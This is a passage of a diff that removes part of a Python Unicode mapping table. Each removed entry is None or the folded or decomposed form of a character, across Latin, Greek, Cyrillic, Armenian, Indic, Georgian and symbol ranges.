-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "ā",
-    None,
-    "ă",
-    None,
-    "ą",
-    None,
-    "ć",
-    None,
-    "ĉ",
-    None,
-    "ċ",
-    None,
-    "č",
-    None,
-    "ď",
-    None,
-    "đ",
-    None,
-    "ē",
-    None,
-    "ĕ",
-    None,
-    "ė",
-    None,
-    "ę",
-    None,
-    "ě",
-    None,
-    "ĝ",
-    None,
-    "ğ",
-    None,
-    "ġ",
-    None,
-    "ģ",
-    None,
-    "ĥ",
-    None,
-    "ħ",
-    None,
-    "ĩ",
-    None,
-    "ī",
-    None,
-    "ĭ",
-    None,
-    "į",
-    None,
-    "i̇",
-    None,
-    "ij",
-    "ĵ",
-    None,
-    "ķ",
-    None,
-    "ĺ",
-    None,
-    "ļ",
-    None,
-    "ľ",
-    None,
-    "l·",
-    "ł",
-    None,
-    "ń",
-    None,
-    "ņ",
-    None,
-    "ň",
-    None,
-    "ʼn",
-    "ŋ",
-    None,
-    "ō",
-    None,
-    "ŏ",
-    None,
-    "ő",
-    None,
-    "œ",
-    None,
-    "ŕ",
-    None,
-    "ŗ",
-    None,
-    "ř",
-    None,
-    "ś",
-    None,
-    "ŝ",
-    None,
-    "ş",
-    None,
-    "š",
-    None,
-    "ţ",
-    None,
-    "ť",
-    None,
-    "ŧ",
-    None,
-    "ũ",
-    None,
-    "ū",
-    None,
-    "ŭ",
-    None,
-    "ů",
-    None,
-    "ű",
-    None,
-    "ų",
-    None,
-    "ŵ",
-    None,
-    "ŷ",
-    None,
-    "ÿ",
-    "ź",
-    None,
-    "ż",
-    None,
-    "ž",
-    None,
-    "s",
-    None,
-    "ɓ",
-    "ƃ",
-    None,
-    "ƅ",
-    None,
-    "ɔ",
-    "ƈ",
-    None,
-    "ɖ",
-    "ɗ",
-    "ƌ",
-    None,
-    "ǝ",
-    "ə",
-    "ɛ",
-    "ƒ",
-    None,
-    "ɠ",
-    "ɣ",
-    None,
-    "ɩ",
-    "ɨ",
-    "ƙ",
-    None,
-    "ɯ",
-    "ɲ",
-    None,
-    "ɵ",
-    "ơ",
-    None,
-    "ƣ",
-    None,
-    "ƥ",
-    None,
-    "ʀ",
-    "ƨ",
-    None,
-    "ʃ",
-    None,
-    "ƭ",
-    None,
-    "ʈ",
-    "ư",
-    None,
-    "ʊ",
-    "ʋ",
-    "ƴ",
-    None,
-    "ƶ",
-    None,
-    "ʒ",
-    "ƹ",
-    None,
-    "ƽ",
-    None,
-    "dž",
-    "lj",
-    "nj",
-    "ǎ",
-    None,
-    "ǐ",
-    None,
-    "ǒ",
-    None,
-    "ǔ",
-    None,
-    "ǖ",
-    None,
-    "ǘ",
-    None,
-    "ǚ",
-    None,
-    "ǜ",
-    None,
-    "ǟ",
-    None,
-    "ǡ",
-    None,
-    "ǣ",
-    None,
-    "ǥ",
-    None,
-    "ǧ",
-    None,
-    "ǩ",
-    None,
-    "ǫ",
-    None,
-    "ǭ",
-    None,
-    "ǯ",
-    None,
-    "dz",
-    "ǵ",
-    None,
-    "ƕ",
-    "ƿ",
-    "ǹ",
-    None,
-    "ǻ",
-    None,
-    "ǽ",
-    None,
-    "ǿ",
-    None,
-    "ȁ",
-    None,
-    "ȃ",
-    None,
-    "ȅ",
-    None,
-    "ȇ",
-    None,
-    "ȉ",
-    None,
-    "ȋ",
-    None,
-    "ȍ",
-    None,
-    "ȏ",
-    None,
-    "ȑ",
-    None,
-    "ȓ",
-    None,
-    "ȕ",
-    None,
-    "ȗ",
-    None,
-    "ș",
-    None,
-    "ț",
-    None,
-    "ȝ",
-    None,
-    "ȟ",
-    None,
-    "ƞ",
-    None,
-    "ȣ",
-    None,
-    "ȥ",
-    None,
-    "ȧ",
-    None,
-    "ȩ",
-    None,
-    "ȫ",
-    None,
-    "ȭ",
-    None,
-    "ȯ",
-    None,
-    "ȱ",
-    None,
-    "ȳ",
-    None,
-    "ⱥ",
-    "ȼ",
-    None,
-    "ƚ",
-    "ⱦ",
-    None,
-    "ɂ",
-    None,
-    "ƀ",
-    "ʉ",
-    "ʌ",
-    "ɇ",
-    None,
-    "ɉ",
-    None,
-    "ɋ",
-    None,
-    "ɍ",
-    None,
-    "ɏ",
-    None,
-    "h",
-    "ɦ",
-    "j",
-    "r",
-    "ɹ",
-    "ɻ",
-    "ʁ",
-    "w",
-    "y",
-    None,
-    " ̆",
-    " ̇",
-    " ̊",
-    " ̨",
-    " ̃",
-    " ̋",
-    None,
-    "ɣ",
-    "l",
-    "s",
-    "x",
-    "ʕ",
-    None,
-    "̀",
-    "́",
-    None,
-    "̓",
-    "̈́",
-    "ι",
-    None,
-    None,
-    None,
-    "ͱ",
-    None,
-    "ͳ",
-    None,
-    "ʹ",
-    None,
-    "ͷ",
-    None,
-    None,
-    " ι",
-    None,
-    ";",
-    "ϳ",
-    None,
-    " ́",
-    " ̈́",
-    "ά",
-    "·",
-    "έ",
-    "ή",
-    "ί",
-    None,
-    "ό",
-    None,
-    "ύ",
-    "ώ",
-    None,
-    "α",
-    "β",
-    "γ",
-    "δ",
-    "ε",
-    "ζ",
-    "η",
-    "θ",
-    "ι",
-    "κ",
-    "λ",
-    "μ",
-    "ν",
-    "ξ",
-    "ο",
-    "π",
-    "ρ",
-    None,
-    "σ",
-    "τ",
-    "υ",
-    "φ",
-    "χ",
-    "ψ",
-    "ω",
-    "ϊ",
-    "ϋ",
-    None,
-    "σ",
-    None,
-    "ϗ",
-    "β",
-    "θ",
-    "υ",
-    "ύ",
-    "ϋ",
-    "φ",
-    "π",
-    None,
-    "ϙ",
-    None,
-    "ϛ",
-    None,
-    "ϝ",
-    None,
-    "ϟ",
-    None,
-    "ϡ",
-    None,
-    "ϣ",
-    None,
-    "ϥ",
-    None,
-    "ϧ",
-    None,
-    "ϩ",
-    None,
-    "ϫ",
-    None,
-    "ϭ",
-    None,
-    "ϯ",
-    None,
-    "κ",
-    "ρ",
-    "σ",
-    None,
-    "θ",
-    "ε",
-    None,
-    "ϸ",
-    None,
-    "σ",
-    "ϻ",
-    None,
-    "ͻ",
-    "ͼ",
-    "ͽ",
-    "ѐ",
-    "ё",
-    "ђ",
-    "ѓ",
-    "є",
-    "ѕ",
-    "і",
-    "ї",
-    "ј",
-    "љ",
-    "њ",
-    "ћ",
-    "ќ",
-    "ѝ",
-    "ў",
-    "џ",
-    "а",
-    "б",
-    "в",
-    "г",
-    "д",
-    "е",
-    "ж",
-    "з",
-    "и",
-    "й",
-    "к",
-    "л",
-    "м",
-    "н",
-    "о",
-    "п",
-    "р",
-    "с",
-    "т",
-    "у",
-    "ф",
-    "х",
-    "ц",
-    "ч",
-    "ш",
-    "щ",
-    "ъ",
-    "ы",
-    "ь",
-    "э",
-    "ю",
-    "я",
-    None,
-    "ѡ",
-    None,
-    "ѣ",
-    None,
-    "ѥ",
-    None,
-    "ѧ",
-    None,
-    "ѩ",
-    None,
-    "ѫ",
-    None,
-    "ѭ",
-    None,
-    "ѯ",
-    None,
-    "ѱ",
-    None,
-    "ѳ",
-    None,
-    "ѵ",
-    None,
-    "ѷ",
-    None,
-    "ѹ",
-    None,
-    "ѻ",
-    None,
-    "ѽ",
-    None,
-    "ѿ",
-    None,
-    "ҁ",
-    None,
-    "ҋ",
-    None,
-    "ҍ",
-    None,
-    "ҏ",
-    None,
-    "ґ",
-    None,
-    "ғ",
-    None,
-    "ҕ",
-    None,
-    "җ",
-    None,
-    "ҙ",
-    None,
-    "қ",
-    None,
-    "ҝ",
-    None,
-    "ҟ",
-    None,
-    "ҡ",
-    None,
-    "ң",
-    None,
-    "ҥ",
-    None,
-    "ҧ",
-    None,
-    "ҩ",
-    None,
-    "ҫ",
-    None,
-    "ҭ",
-    None,
-    "ү",
-    None,
-    "ұ",
-    None,
-    "ҳ",
-    None,
-    "ҵ",
-    None,
-    "ҷ",
-    None,
-    "ҹ",
-    None,
-    "һ",
-    None,
-    "ҽ",
-    None,
-    "ҿ",
-    None,
-    "ӏ",
-    "ӂ",
-    None,
-    "ӄ",
-    None,
-    "ӆ",
-    None,
-    "ӈ",
-    None,
-    "ӊ",
-    None,
-    "ӌ",
-    None,
-    "ӎ",
-    None,
-    "ӑ",
-    None,
-    "ӓ",
-    None,
-    "ӕ",
-    None,
-    "ӗ",
-    None,
-    "ә",
-    None,
-    "ӛ",
-    None,
-    "ӝ",
-    None,
-    "ӟ",
-    None,
-    "ӡ",
-    None,
-    "ӣ",
-    None,
-    "ӥ",
-    None,
-    "ӧ",
-    None,
-    "ө",
-    None,
-    "ӫ",
-    None,
-    "ӭ",
-    None,
-    "ӯ",
-    None,
-    "ӱ",
-    None,
-    "ӳ",
-    None,
-    "ӵ",
-    None,
-    "ӷ",
-    None,
-    "ӹ",
-    None,
-    "ӻ",
-    None,
-    "ӽ",
-    None,
-    "ӿ",
-    None,
-    "ԁ",
-    None,
-    "ԃ",
-    None,
-    "ԅ",
-    None,
-    "ԇ",
-    None,
-    "ԉ",
-    None,
-    "ԋ",
-    None,
-    "ԍ",
-    None,
-    "ԏ",
-    None,
-    "ԑ",
-    None,
-    "ԓ",
-    None,
-    "ԕ",
-    None,
-    "ԗ",
-    None,
-    "ԙ",
-    None,
-    "ԛ",
-    None,
-    "ԝ",
-    None,
-    "ԟ",
-    None,
-    "ԡ",
-    None,
-    "ԣ",
-    None,
-    "ԥ",
-    None,
-    "ԧ",
-    None,
-    "ԩ",
-    None,
-    "ԫ",
-    None,
-    "ԭ",
-    None,
-    "ԯ",
-    None,
-    None,
-    "ա",
-    "բ",
-    "գ",
-    "դ",
-    "ե",
-    "զ",
-    "է",
-    "ը",
-    "թ",
-    "ժ",
-    "ի",
-    "լ",
-    "խ",
-    "ծ",
-    "կ",
-    "հ",
-    "ձ",
-    "ղ",
-    "ճ",
-    "մ",
-    "յ",
-    "ն",
-    "շ",
-    "ո",
-    "չ",
-    "պ",
-    "ջ",
-    "ռ",
-    "ս",
-    "վ",
-    "տ",
-    "ր",
-    "ց",
-    "ւ",
-    "փ",
-    "ք",
-    "օ",
-    "ֆ",
-    None,
-    None,
-    "եւ",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "اٴ",
-    "وٴ",
-    "ۇٴ",
-    "يٴ",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "क़",
-    "ख़",
-    "ग़",
-    "ज़",
-    "ड़",
-    "ढ़",
-    "फ़",
-    "य़",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "ড়",
-    "ঢ়",
-    None,
-    "য়",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "ਲ਼",
-    None,
-    None,
-    "ਸ਼",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "ਖ਼",
-    "ਗ਼",
-    "ਜ਼",
-    None,
-    None,
-    "ਫ਼",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "ଡ଼",
-    "ଢ଼",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "ํา",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "ໍາ",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "ຫນ",
-    "ຫມ",
-    None,
-    None,
-    None,
-    "་",
-    None,
-    "གྷ",
-    None,
-    None,
-    None,
-    "ཌྷ",
-    None,
-    "དྷ",
-    None,
-    "བྷ",
-    None,
-    "ཛྷ",
-    None,
-    "ཀྵ",
-    None,
-    None,
-    None,
-    "ཱི",
-    None,
-    "ཱུ",
-    "ྲྀ",
-    "ྲཱྀ",
-    "ླྀ",
-    "ླཱྀ",
-    None,
-    "ཱྀ",
-    None,
-    "ྒྷ",
-    None,
-    None,
-    None,
-    "ྜྷ",
-    None,
-    "ྡྷ",
-    None,
-    "ྦྷ",
-    None,
-    "ྫྷ",
-    None,
-    "ྐྵ",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "ⴀ",
-    "ⴁ",
-    "ⴂ",
-    "ⴃ",
-    "ⴄ",
-    "ⴅ",
-    "ⴆ",
-    "ⴇ",
-    "ⴈ",
-    "ⴉ",
-    "ⴊ",
-    "ⴋ",
-    "ⴌ",
-    "ⴍ",
-    "ⴎ",
-    "ⴏ",
-    "ⴐ",
-    "ⴑ",
-    "ⴒ",
-    "ⴓ",
-    "ⴔ",
-    "ⴕ",
-    "ⴖ",
-    "ⴗ",
-    "ⴘ",
-    "ⴙ",
-    "ⴚ",
-    "ⴛ",
-    "ⴜ",
-    "ⴝ",
-    "ⴞ",
-    "ⴟ",
-    "ⴠ",
-    "ⴡ",
-    "ⴢ",
-    "ⴣ",
-    "ⴤ",
-    "ⴥ",
-    None,
-    "ⴧ",
-    None,
-    "ⴭ",
-    None,
-    None,
-    "ნ",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "Ᏸ",
-    "Ᏹ",
-    "Ᏺ",
-    "Ᏻ",
-    "Ᏼ",
-    "Ᏽ",
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    None,
-    "в",
-    "д",
-    "о",
-    "с",
-    "т",
-    "ъ",
-    "ѣ",
-    "ꙋ",
-    "\u1c8a",
-    None,
-    None,
-    "ა",
-    "ბ",
-    "გ",
-    "დ",
-    "ე",
-    "ვ",
-    "ზ",
-    "თ",
-    "ი",
-    "კ",
-    "ლ",
-    "მ",
-    "ნ",
-    "ო",
-    "პ",
-    "ჟ",
-    "რ",
-    "ს",
-    "ტ",
-    "უ",
-    "ფ",
-    "ქ",
-    "ღ",
-    "ყ",
-    "შ",
-    "ჩ",
-    "ც",
-    "ძ",
-    "წ",
-    "ჭ",
-    "ხ",
-    "ჯ",
-    "ჰ",
-    "ჱ",
-    "ჲ",
-    "ჳ",
-    "ჴ",
-    "ჵ",
-    "ჶ",
-    "ჷ",
-    "ჸ",
-    "ჹ",
-    "ჺ",
-    None,
-    "ჽ",
-    "ჾ",
-    "ჿ",
-    None,
-    None,
-    None,
-    None,
-    None,
-    "a",
-    "æ",
-    "b",
-    None,
-    "d",
-    "e",
-    "ǝ",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    None,
-    "o",
-    "ȣ",
-    "p",
-    "r",
-    "t",
-    "u",
-    "w",
-    "a",
-    "ɐ",
-    "ɑ",
-    "ᴂ",
-    "b",
-    "d",
-    "e",
-    "ə",
-    "ɛ",
-    "ɜ",
-    "g",
-    None,
-    "k",
-    "m",
-    "ŋ",
-    "o",
-    "ɔ",
-    "ᴖ",
-    "ᴗ",
-    "p",
-    "t",
-    "u",
-    "ᴝ",
-    "ɯ",
-    "v",
-    "ᴥ",
-    "β",
-    "γ",
-    "δ",
-    "φ",
-    "χ",
-    "i",
-    "r",
-    "u",
-    "v",
-    "β",
-    "γ",
-    "ρ",
-    "φ",
-    "χ",
-    None,
-    "н",
-    None,
-    "ɒ",
-    "c",
-    "ɕ",
-    "ð",
-    "ɜ",
-    "f",
-    "ɟ",
-    "ɡ",
-    "ɥ",
-    "ɨ",
-    "ɩ",
-    "ɪ",
-    "ᵻ",
-    "ʝ",
-    "ɭ",
-    "ᶅ",
-    "ʟ",
-    "ɱ",
-    "ɰ",
-    "ɲ",
-    "ɳ",
-    "ɴ",
-    "ɵ",
-    "ɸ",
-    "ʂ",
-    "ʃ",
-    "ƫ",
-    "ʉ",
-    "ʊ",
-    "ᴜ",
-    "ʋ",
-    "ʌ",
-    "z",
-    "ʐ",
-    "ʑ",
-    "ʒ",
-    "θ",
-    None,
-    "ḁ",
-    None,
-    "ḃ",
-    None,
-    "ḅ",
-    None,
-    "ḇ",
-    None,
-    "ḉ",
-    None,
-    "ḋ",
-    None,
-    "ḍ",
-    None,
-    "ḏ",
-    None,
-    "ḑ",
-    None,
-    "ḓ",
-    None,
-    "ḕ",
-    None,
-    "ḗ",
-    None,
-    "ḙ",
-    None,
-    "ḛ",
-    None,
-    "ḝ",
-    None,
-    "ḟ",
-    None,
-    "ḡ",
-    None,
-    "ḣ",
-    None,
-    "ḥ",
-    None,
-    "ḧ",
-    None,
-    "ḩ",
-    None,
-    "ḫ",
-    None,
-    "ḭ",
-    None,
-    "ḯ",
-    None,
-    "ḱ",
-    None,
-    "ḳ",
-    None,
-    "ḵ",
-    None,
-    "ḷ",
-    None,
-    "ḹ",
-    None,
-    "ḻ",
-    None,
-    "ḽ",
-    None,
-    "ḿ",
-    None,
-    "ṁ",
-    None,
-    "ṃ",
-    None,
-    "ṅ",
-    None,
-    "ṇ",
-    None,
-    "ṉ",
-    None,
-    "ṋ",
-    None,
-    "ṍ",
-    None,
-    "ṏ",
-    None,
-    "ṑ",
-    None,
-    "ṓ",
-    None,
-    "ṕ",
-    None,
-    "ṗ",
-    None,
-    "ṙ",
-    None,
-    "ṛ",
-    None,
-    "ṝ",
-    None,
-    "ṟ",
-    None,
-    "ṡ",
-    None,
-    "ṣ",
-    None,
-    "ṥ",
-    None,
-    "ṧ",
-    None,
-    "ṩ",
-    None,
-    "ṫ",
-    None,
-    "ṭ",
-    None,
-    "ṯ",
-    None,
-    "ṱ",
-    None,
-    "ṳ",
-    None,
-    "ṵ",
-    None,
-    "ṷ",
-    None,
-    "ṹ",
-    None,
-    "ṻ",
-    None,
-    "ṽ",
-    None,
-    "ṿ",
-    None,
-    "ẁ",
-    None,
-    "ẃ",
-    None,
-    "ẅ",
-    None,
-    "ẇ",
-    None,
-    "ẉ",
-    None,
-    "ẋ",
-    None,
-    "ẍ",
-    None,
-    "ẏ",
-    None,
-    "ẑ",
-    None,
-    "ẓ",
-    None,
-    "ẕ",
-    None,
-    "aʾ",
-    "ṡ",
-    None,
-    "ß",
-    None,
-    "ạ",
-    None,
-    "ả",
-    None,
-    "ấ",
-    None,
-    "ầ",
-    None,
-    "ẩ",
-    None,
-    "ẫ",
-    None,
-    "ậ",
-    None,
-    "ắ",
-    None,
-    "ằ",
-    None,
-    "ẳ",
-    None,
-    "ẵ",
-    None,
-    "ặ",
-    None,
-    "ẹ",
-    None,
-    "ẻ",
-    None,
-    "ẽ",
-    None,
-    "ế",
-    None,
-    "ề",
-    None,
-    "ể",
-    None,
-    "ễ",
-    None,
-    "ệ",
-    None,
-    "ỉ",
-    None,
-    "ị",
-    None,
-    "ọ",
-    None,
-    "ỏ",
-    None,
-    "ố",
-    None,
-    "ồ",
-    None,
-    "ổ",
-    None,
-    "ỗ",
-    None,
-    "ộ",
-    None,
-    "ớ",
-    None,
-    "ờ",
-    None,
-    "ở",
-    None,
-    "ỡ",
-    None,
-    "ợ",
-    None,
-    "ụ",
-    None,
-    "ủ",
-    None,
-    "ứ",
-    None,
-    "ừ",
-    None,
-    "ử",
-    None,
-    "ữ",
-    None,
-    "ự",
-    None,
-    "ỳ",
-    None,
-    "ỵ",
-    None,
-    "ỷ",
-    None,
-    "ỹ",
-    None,
-    "ỻ",
-    None,
-    "ỽ",
-    None,
-    "ỿ",
-    None,
-    "ἀ",
-    "ἁ",
-    "ἂ",
-    "ἃ",
-    "ἄ",
-    "ἅ",
-    "ἆ",
-    "ἇ",
-    None,
-    None,
-    "ἐ",
-    "ἑ",
-    "ἒ",
-    "ἓ",
-    "ἔ",
-    "ἕ",
-    None,
-    None,
-    "ἠ",
-    "ἡ",
-    "ἢ",
-    "ἣ",
-    "ἤ",
-    "ἥ",
-    "ἦ",
-    "ἧ",
-    None,
-    "ἰ",
-    "ἱ",
-    "ἲ",
-    "ἳ",
-    "ἴ",
-    "ἵ",
-    "ἶ",
-    "ἷ",
-    None,
-    None,
-    "ὀ",
-    "ὁ",
-    "ὂ",
-    "ὃ",
-    "ὄ",
-    "ὅ",
-    None,
-    None,
-    None,
-    "ὑ",
-    None,
-    "ὓ",
-    None,
-    "ὕ",
-    None,
-    "ὗ",
-    None,
-    "ὠ",
-    "ὡ",
-    "ὢ",
-    "ὣ",
-    "ὤ",
-    "ὥ",
-    "ὦ",
-    "ὧ",
-    None,
-    "ά",
-    None,
-    "έ",
-    None,
-    "ή",
-    None,
-    "ί",
-    None,
-    "ό",
-    None,
-    "ύ",
-    None,
-    "ώ",
-    None,
-    "ἀι",
-    "ἁι",
-    "ἂι",
-    "ἃι",
-    "ἄι",
-    "ἅι",
-    "ἆι",
-    "ἇι",
-    "ἀι",
-    "ἁι",
-    "ἂι",
-    "ἃι",
-    "ἄι",
-    "ἅι",
-    "ἆι",
-    "ἇι",
-    "ἠι",
-    "ἡι",
-    "ἢι",
-    "ἣι",
-    "ἤι",
-    "ἥι",
-    "ἦι",
-    "ἧι",
-    "ἠι",
-    "ἡι",
-    "ἢι",
-    "ἣι",
-    "ἤι",
-    "ἥι",
-    "ἦι",
-    "ἧι",
-    "ὠι",
-    "ὡι",
-    "ὢι",
-    "ὣι",
-    "ὤι",
-    "ὥι",
-    "ὦι",
-    "ὧι",
-    "ὠι",
-    "ὡι",
-    "ὢι",
-    "ὣι",
-    "ὤι",
-    "ὥι",
-    "ὦι",
-    "ὧι",
-    None,
-    "ὰι",
-    "αι",
-    "άι",
-    None,
-    None,
-    "ᾶι",
-    "ᾰ",
-    "ᾱ",
-    "ὰ",
-    "ά",
-    "αι",
-    " ̓",
-    "ι",
-    " ̓",
-    " ͂",
-    " ̈͂",
-    "ὴι",
-    "ηι",
-    "ήι",
-    None,
-    None,
-    "ῆι",
-    "ὲ",
-    "έ",
-    "ὴ",
-    "ή",
-    "ηι",
-    " ̓̀",
-    " ̓́",
-    " ̓͂",
-    None,
-    "ΐ",
-    None,
-    None,
-    "ῐ",
-    "ῑ",
-    "ὶ",
-    "ί",
-    None,
-    " ̔̀",
-    " ̔́",
-    " ̔͂",
-    None,
-    "ΰ",
-    None,
-    "ῠ",
-    "ῡ",
-    "ὺ",
-    "ύ",
-    "ῥ",
-    " ̈̀",
-    " ̈́",
-    "`",
-    None,
-    "ὼι",
-    "ωι",
-    "ώι",
-    None,
-    None,
-    "ῶι",
-    "ὸ",
-    "ό",
-    "ὼ",
-    "ώ",
-    "ωι",
-    " ́",
-    " ̔",
-    None,
-    " ",
-    None,
-    "",
-    None,
-    None,
-    "‐",
-    None,
-    " ̳",
-    None,
-    None,
-    None,
-    None,
-    " ",
-    None,
-    "′′",
-    "′′′",
-    None,
-    "‵‵",
-    "‵‵‵",
-    None,
-    "!!",
-    None,
-    " ̅",
-    None,
-    "??",
-    "?!",
-    "!?",
-    None,
-    "′′′′",
-    None,
-    " ",
-    None,
-    None,
-    None,
-    "0",
-    "i",
-    None,
-    "4",
-    "5",
-    "6",
-    "7",
-    "8",
-    "9",
-    "+",
-    "−",
-    "=",
-    "(",
-    ")",
-    "n",
-    "0",
-    "1",
-    "2",
-    "3",
-    "4",
-    "5",
-    "6",
-    "7",
-    "8",
-    "9",
-    "+",
-    "−",
-    "=",
-    "(",
-    ")",
-    None,
-    "a",
-    "e",
-    "o",
-    "x",
-    "ə",
-    "h",
-    "k",
-    "l",
-    "m",
-    "n",
-    "p",
-    "s",
-    "t",
-    None,
-    None,
-    "rs",
-    None,
-    None,
-    None,
-    None,
-    "a/c",
-    "a/s",
-    "c",
-    "°c",
-    None,
-    "c/o",
-    "c/u",
-    "ɛ",
-    None,
-    "°f",
-    "g",
-    "h",
-    "ħ",
-    "i",
-    "l",
-    None,
-    "n",
-    "no",
-    None,
-    "p",
-    "q",
-    "r",
-    None,
-    "sm",
-    "tel",
-    "tm",
-    None,
-    "z",
-    None,
-    "ω",
-    None,
-    "z",
-    None,
-    "k",
-    "å",
-    "b",
-    "c",
-    None,
-    "e",
-    "f",
-    "ⅎ",
-    "m",
-    "o",
-    "א",
-    "ב",
-    "ג",
-    "ד",
-    "i",
-    None,
-    "fax",
-    "π",
-    "γ",
-    "π",
-    "∑",
-    None,
-    "d",
-    "e",
-    "i",
-    "j",
-    None,
-    "1⁄7",
-    "1⁄9",
-    "1⁄10",
-    "1⁄3",
-    "2⁄3",
-    "1⁄5",
-    "2⁄5",
-    "3⁄5",
-    "4⁄5",
-    "1⁄6",
-    "5⁄6",
-    "1⁄8",
-    "3⁄8",
-    "5⁄8",
-    "7⁄8",
-    "1⁄",
-    "i",
-    "ii",
-    "iii",
-    "iv",
-    "v",
-    "vi",
-    "vii",
-    "viii",
-    "ix",
-    "x",
-    "xi",
-    "xii",
-    "l",
-    "c",
-    "d",
-    "m",
-    "i",
-    "ii",
-    "iii",
-    "iv",
-    "v",
-    "vi",
-    "vii",
-    "viii",
-    "ix",
-    "x",
-    "xi",
-    "xii",
-    "l",
-    "c",
-    "d",
-    "m",
-    None,
-    "ↄ",
-    None,
-    "0⁄3",
-    None,
-    None,
-    None,
-    "∫∫",
-    "∫∫∫",
-    None,
-    "∮∮",
-    "∮∮∮",
-    None,
-    "〈",
-    "〉",
-    None,
-    None,
-    None,
-    None,
-    "1",
-    "2",
-    "3",
-    "4",
-    "5",
-    "6",
-    "7",
-    "8",
-    "9",
-    "10",
-    "11",
-    "12",
-    "13",
-    "14",
-    "15",
-    "16",
-    "17",
-    "18",
-    "19",
-    "20",
-    "(1)",
-    "(2)",
-    "(3)",
-    "(4)",
-    "(5)",
-    "(6)",
-    "(7)",
-    "(8)",
-    "(9)",
-    "(10)",
-    "(11)",
-    "(12)",
-    "(13)",
-    "(14)",
-    "(15)",
-    "(16)",
-    "(17)",
-    "(18)",
-    "(19)",
-    "(20)",
-    None,
-    "(a)",
-    "(b)",
-    "(c)",
-    "(d)",
-    "(e)",
-    "(f)",
-    "(g)",
-    "(h)",
-    "(i)",
-    "(j)",
-    "(k)",
-    "(l)",
-    "(m)",
-    "(n)",
-    "(o)",
-    "(p)",
-    "(q)",
-    "(r)",
-    "(s)",
-    "(t)",
-    "(u)",
-    "(v)",
-    "(w)",
-    "(x)",
-    "(y)",
-    "(z)",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
-    "w",
-    "x",
-    "y",
-    "z",
-    "a",
-    "b",
-    "c",
-    "d",
-    "e",
-    "f",
-    "g",
-    "h",
-    "i",
-    "j",
-    "k",
-    "l",
-    "m",
-    "n",
-    "o",
-    "p",
-    "q",
-    "r",
-    "s",
-    "t",
-    "u",
-    "v",
